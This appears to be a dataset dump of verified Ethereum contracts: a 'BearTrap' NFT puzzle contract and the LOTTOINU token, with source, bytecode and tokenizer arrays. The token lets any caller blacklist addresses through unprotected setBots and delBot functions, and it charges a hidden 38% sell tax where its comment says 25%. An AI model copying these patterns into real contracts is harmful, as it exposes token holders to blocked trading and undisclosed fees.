[ 101, 1014, 2595, 2683, 2581, 16068, 2094, 2692, 2050, 2683, 2050, 11387, 27717, 2575, 2094, 2575, 2475, 2063, 2581, 2581, 21926, 2575, 2850, 19961, 29292, 2581, 2549, 2278, 22022, 2581, 2546, 2475, 2497, 19481, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 2310, 12879, 23144, 5104, 2186, 1016, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,627
0x9715E573e2553890d774B0A352211E3eFA977f81
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; import { IERC721 } from "@openzeppelin/contracts/interfaces/IERC721.sol"; interface IKey is IERC721 { function getBlockNumber( uint256 tokenId ) external view returns (uint256); } /** * @title BearTrapWithTemperatureAugmentationMixin * @author the-torn */ contract BearTrapWithTemperatureAugmentationMixin { address public constant LAVA = 0x000000000000000000000000000000000000dEaD; IERC721 public immutable BEAR_CONTRACT; IKey public immutable KEY_CONTRACT; uint256 public immutable TIME_AT_WHICH_WE_DROP_THE_BEAR_IN_THE_LAVA; uint256 public _bearId = 0; bool public _bearSaved = false; mapping(uint256 => address) public _lockedKeyOwner; constructor( IERC721 bearContract, IKey keyContract, uint256 ttd ) { BEAR_CONTRACT = bearContract; KEY_CONTRACT = keyContract; TIME_AT_WHICH_WE_DROP_THE_BEAR_IN_THE_LAVA = block.timestamp + ttd; } function tieUpTheBear( uint256 bearId ) external { require( _bearId == 0, "Already trapped the bear" ); require( BEAR_CONTRACT.ownerOf(bearId) == address(this), "Bear not received" ); _bearId = bearId; } function saveBearWithKey( uint256 keyId ) external { require( _bearId != 0, "There is no bear" ); require( !_bearSaved, "Bear already saved" ); uint256 keyNumber = KEY_CONTRACT.getBlockNumber(keyId); require( isValidKey(keyNumber), "Invalid key" ); require( KEY_CONTRACT.ownerOf(keyId) == msg.sender, "Sender does not have the key" ); _bearSaved = true; BEAR_CONTRACT.safeTransferFrom(address(this), msg.sender, _bearId); } function dropTheBear() external { require( block.timestamp >= TIME_AT_WHICH_WE_DROP_THE_BEAR_IN_THE_LAVA, "TTD has not elapsed" ); BEAR_CONTRACT.safeTransferFrom(address(this), LAVA, _bearId); } function lockKey( uint256 keyId ) external { uint256 keyNumber = KEY_CONTRACT.getBlockNumber(keyId); require( isValidKey(keyNumber), "Invalid key" ); KEY_CONTRACT.safeTransferFrom(msg.sender, address(this), keyId); _lockedKeyOwner[keyId] = msg.sender; } function retrievePreviouslyLockedKeyOnlyIfTheBearIsGone( uint256 keyId ) external { require( BEAR_CONTRACT.ownerOf(_bearId) != address(this), "Still got the bear" ); require( _lockedKeyOwner[keyId] == msg.sender, "Not the sender's key" ); delete _lockedKeyOwner[keyId]; KEY_CONTRACT.safeTransferFrom(address(this), msg.sender, keyId); } function onERC721Received( address, address, uint256, bytes memory ) external pure returns(bytes4) { return 0x150b7a02; } function isValidKey( uint256 x ) private view returns (bool) { uint256 z; // solhint-disable-next-line no-inline-assembly assembly { let p := mload(0x40) mstore(p, 0x20) mstore(add(p, 0x20), 0x20) mstore(add(p, 0x40), 0x20) mstore(add(p, 0x60), 0x02) mstore(add(p, 0x80), sub(x, 1)) mstore(add(p, 0xa0), x) if iszero(staticcall(sub(gas(), 2000), 0x05, p, 0xc0, p, 0x20)) { revert(0, 0) } z := mload(p) } return z == 1; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../token/ERC721/IERC721.sol"; // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063696588551161008c578063caa9bc4e11610066578063caa9bc4e14610217578063e5137f8d1461022a578063e7aaa73a14610233578063fb597a6a1461024657600080fd5b8063696588551461019e5780639170a3d5146101bb57806395a4032c146101e257600080fd5b8063034405f5146100d4578063150b7a02146100de578063398800851461011a578063472710671461012d5780634a2a3e0e1461014e57806358d637e814610177575b600080fd5b6100dc610259565b005b6100fc6100ec366004610b55565b630a85bd0160e11b949350505050565b6040516001600160e01b031990911681526020015b60405180910390f35b6100dc610128366004610c2e565b61034c565b61013661dead81565b6040516001600160a01b039091168152602001610111565b61013661015c366004610c2e565b6002602052600090815260409020546001600160a01b031681565b6101367f000000000000000000000000c8bcbe0e8ae36d8f9238cd320ef6de88784b173481565b6001546101ab9060ff1681565b6040519015158152602001610111565b6101367f00000000000000000000000092c02a905e41584e582bbfc5be1b2e9011b9dfaf81565b6102097f000000000000000000000000000000000000000000000000000000006168c04581565b604051908152602001610111565b6100dc610225366004610c2e565b61063a565b61020960005481565b6100dc610241366004610c2e565b610773565b6100dc610254366004610c2e565b6108f6565b7f000000000000000000000000000000000000000000000000000000006168c0454210156102c45760405162461bcd60e51b8152602060048201526013602482015272151511081a185cc81b9bdd08195b185c1cd959606a1b60448201526064015b60405180910390fd5b600054604051632142170760e11b81526001600160a01b037f000000000000000000000000c8bcbe0e8ae36d8f9238cd320ef6de88784b173416916342842e0e9161031891309161dead9190600401610c5e565b600060405180830381600087803b15801561033257600080fd5b505af1158015610346573d6000803e3d6000fd5b50505050565b60005461038e5760405162461bcd60e51b815260206004820152601060248201526f2a3432b9329034b9903737903132b0b960811b60448201526064016102bb565b60015460ff16156103d65760405162461bcd60e51b81526020600482015260126024820152711099585c88185b1c9958591e481cd85d995960721b60448201526064016102bb565b6040516314303ef960e21b8152600481018290526000907f00000000000000000000000092c02a905e41584e582bbfc5be1b2e9011b9dfaf6001600160a01b0316906350c0fbe49060240160206040518083038186803b15801561043957600080fd5b505afa15801561044d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104719190610c46565b905061047c81610ae3565b6104b65760405162461bcd60e51b815260206004820152600b60248201526a496e76616c6964206b657960a81b60448201526064016102bb565b6040516331a9108f60e11b81526004810183905233906001600160a01b037f00000000000000000000000092c02a905e41584e582bbfc5be1b2e9011b9dfaf1690636352211e9060240160206040518083038186803b15801561051857600080fd5b505afa15801561052c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105509190610b32565b6001600160a01b0316146105a65760405162461bcd60e51b815260206004820152601c60248201527f53656e64657220646f6573206e6f74206861766520746865206b65790000000060448201526064016102bb565b6001805460ff191681179055600054604051632142170760e11b81526001600160a01b037f000000000000000000000000c8bcbe0e8ae36d8f9238cd320ef6de88784b173416916342842e0e91610604913091339190600401610c5e565b600060405180830381600087803b15801561061e57600080fd5b505af1158015610632573d6000803e3d6000fd5b505050505050565b6000541561068a5760405162461bcd60e51b815260206004820152601860248201527f416c72656164792074726170706564207468652062656172000000000000000060448201526064016102bb565b6040516331a9108f60e11b81526004810182905230906001600160a01b037f000000000000000000000000c8bcbe0e8ae36d8f9238cd320ef6de88784b17341690636352211e9060240160206040518083038186803b1580156106ec57600080fd5b505afa158015610700573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107249190610b32565b6001600160a01b03161461076e5760405162461bcd60e51b81526020600482015260116024820152701099585c881b9bdd081c9958d95a5d9959607a1b60448201526064016102bb565b600055565b6040516314303ef960e21b8152600481018290526000907f00000000000000000000000092c02a905e41584e582bbfc5be1b2e9011b9dfaf6001600160a01b0316906350c0fbe49060240160206040518083038186803b1580156107d657600080fd5b505afa1580156107ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080e9190610c46565b905061081981610ae3565b6108535760405162461bcd60e51b815260206004820152600b60248201526a496e76616c6964206b657960a81b60448201526064016102bb565b604051632142170760e11b81526001600160a01b037f00000000000000000000000092c02a905e41584e582bbfc5be1b2e9011b9dfaf16906342842e0e906108a390339030908790600401610c5e565b600060405180830381600087803b1580156108bd57600080fd5b505af11580156108d1573d6000803e3d6000fd5b5050506000928352505060026020526040902080546001600160a01b03191633179055565b6000546040516331a9108f60e11b815230917f000000000000000000000000c8bcbe0e8ae36d8f9238cd320ef6de88784b17346001600160a01b031691636352211e916109499160040190815260200190565b60206040518083038186803b15801561096157600080fd5b505afa158015610975573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109999190610b32565b6001600160a01b031614156109e55760405162461bcd60e51b815260206004820152601260248201527129ba34b6361033b7ba103a3432903132b0b960711b60448201526064016102bb565b6000818152600260205260409020546001600160a01b03163314610a425760405162461bcd60e51b81526020600482015260146024820152734e6f74207468652073656e6465722773206b657960601b60448201526064016102bb565b6000818152600260205260409081902080546001600160a01b031916905551632142170760e11b81527f00000000000000000000000092c02a905e41584e582bbfc5be1b2e9011b9dfaf6001600160a01b0316906342842e0e90610aae90309033908690600401610c5e565b600060405180830381600087803b158015610ac857600080fd5b505af1158015610adc573d6000803e3d6000fd5b5050505050565b6000806040516020815260208082015260206040820152600260608201526001840360808201528360a082015260208160c08360056107d05a03fa610b2757600080fd5b516001149392505050565b600060208284031215610b43578081fd5b8151610b4e81610c98565b9392505050565b60008060008060808587031215610b6a578283fd5b8435610b7581610c98565b93506020850135610b8581610c98565b925060408501359150606085013567ffffffffffffffff80821115610ba8578283fd5b818701915087601f830112610bbb578283fd5b813581811115610bcd57610bcd610c82565b604051601f8201601f19908116603f01168101908382118183101715610bf557610bf5610c82565b816040528281528a6020848701011115610c0d578586fd5b82602086016020830137918201602001949094529598949750929550505050565b600060208284031215610c3f578081fd5b5035919050565b600060208284031215610c57578081fd5b5051919050565b6001600160a01b039384168152919092166020820152604081019190915260600190565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610cad57600080fd5b5056fea264697066735822122098c90c0a806ec8fcec808e96b9ddc9cb23614b93eddc289907e31ea5dba53d8e64736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 16068, 2063, 28311, 2509, 2063, 17788, 22275, 2620, 21057, 2094, 2581, 2581, 2549, 2497, 2692, 2050, 19481, 19317, 14526, 2063, 2509, 12879, 2050, 2683, 2581, 2581, 2546, 2620, 2487, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 15895, 1011, 1016, 1012, 1014, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1063, 29464, 11890, 2581, 17465, 1065, 2013, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19706, 1013, 29464, 11890, 2581, 17465, 1012, 14017, 1000, 1025, 8278, 25209, 2100, 2003, 29464, 11890, 2581, 17465, 1063, 3853, 2131, 23467, 19172, 5677, 1006, 21318, 3372, 17788, 2575, 19204, 3593, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,628
0x97169900adfaa1b8ef1916a4a3b2a63cb5ebba21
/** */ //SPDX-License-Identifier: Unlicensed // Website: https://lottoinu.com/ // Tg: https://t.me/LottoINU pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LOTTOINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 200000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "LOTTO INU"; string private constant _symbol = "LOTTOINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _maxTxAmount = 4000 * 10 ** 9; emit Transfer(address(_msgSender()), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function originalPurchase(address account) public view returns (uint256) { return _buyMap[account]; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() { _maxTxAmount = maxTransactionAmount; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isBuy(from)) { // TAX SELLERS 25% WHO SELL WITHIN 4 HOURS if (_buyMap[from] != 0 && (_buyMap[from] + (4 hours) >= block.timestamp)) { _feeAddr1 = 10; _feeAddr2 = 28; } else { _feeAddr1 = 10; _feeAddr2 = 10; } } else { if (_buyMap[to] == 0) { _buyMap[to] = block.timestamp; } _feeAddr1 = 10; _feeAddr2 = 10; } if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function createPair() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); } function addLiquidity() public onlyOwner{ uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function enableTrading() external onlyOwner{ tradingOpen = true; } function setBots(address[] memory bots_) public { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = _rTotal; } function delBot(address notbot) public { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function updateMaxTx (uint256 fee) public onlyOwner { _maxTxAmount = fee; } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c2d0ffca1161006f578063c2d0ffca1461041b578063c3c8cd8014610444578063cc653b441461045b578063dd62ed3e14610498578063e8078d94146104d5578063ff872602146104ec5761014b565b80638da5cb5b1461031f57806395d89b411461034a5780639e78fb4f14610375578063a9059cbb1461038c578063b515566a146103c9578063bc337182146103f25761014b565b8063313ce56711610108578063313ce567146102495780635932ead1146102745780636fc3eaec1461029d57806370a08231146102b4578063715018a6146102f15780638a8c523c146103085761014b565b806306fdde0314610150578063095ea7b31461017b57806318160ddd146101b857806323b872dd146101e3578063273123b7146102205761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610503565b60405161017291906127bb565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190612885565b610540565b6040516101af91906128e0565b60405180910390f35b3480156101c457600080fd5b506101cd61055e565b6040516101da919061290a565b60405180910390f35b3480156101ef57600080fd5b5061020a60048036038101906102059190612925565b61056c565b60405161021791906128e0565b60405180910390f35b34801561022c57600080fd5b5061024760048036038101906102429190612978565b610645565b005b34801561025557600080fd5b5061025e6106a0565b60405161026b91906129c1565b60405180910390f35b34801561028057600080fd5b5061029b60048036038101906102969190612a08565b6106a9565b005b3480156102a957600080fd5b506102b261075b565b005b3480156102c057600080fd5b506102db60048036038101906102d69190612978565b6107cd565b6040516102e8919061290a565b60405180910390f35b3480156102fd57600080fd5b5061030661081e565b005b34801561031457600080fd5b5061031d610971565b005b34801561032b57600080fd5b50610334610a23565b6040516103419190612a44565b60405180910390f35b34801561035657600080fd5b5061035f610a4c565b60405161036c91906127bb565b60405180910390f35b34801561038157600080fd5b5061038a610a89565b005b34801561039857600080fd5b506103b360048036038101906103ae9190612885565b610bfe565b6040516103c091906128e0565b60405180910390f35b3480156103d557600080fd5b506103f060048036038101906103eb9190612ba7565b610c1c565b005b3480156103fe57600080fd5b5061041960048036038101906104149190612bf0565b610cb1565b005b34801561042757600080fd5b50610442600480360381019061043d9190612bf0565b610d50565b005b34801561045057600080fd5b50610459610def565b005b34801561046757600080fd5b50610482600480360381019061047d9190612978565b610e69565b60405161048f919061290a565b60405180910390f35b3480156104a457600080fd5b506104bf60048036038101906104ba9190612c1d565b610eb2565b6040516104cc919061290a565b60405180910390f35b3480156104e157600080fd5b506104ea610f39565b005b3480156104f857600080fd5b50610501611383565b005b60606040518060400160405280600981526020017f4c4f54544f20494e550000000000000000000000000000000000000000000000815250905090565b600061055461054d611423565b848461142b565b6001905092915050565b600065b5e620f48000905090565b60006105798484846115f6565b61063a84610585611423565b6106358560405180606001604052806028815260200161368760289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105eb611423565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c649092919063ffffffff16565b61142b565b600190509392505050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106b1611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461073e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073590612ca9565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661079c611423565b73ffffffffffffffffffff